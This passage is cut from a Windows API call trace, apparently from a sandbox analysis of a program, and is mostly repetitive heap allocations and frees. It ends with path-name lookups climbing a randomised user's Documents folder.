dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.563] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.564] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.564] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.565] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.565] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.566] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.566] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.567] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.567] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.568] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.568] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\") returned="-cJIpQCkg1\\" [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\") returned="gck8eKrR\\" [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b08 | out: hHeap=0xd10000) returned 1 [0118.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.569] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.569] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 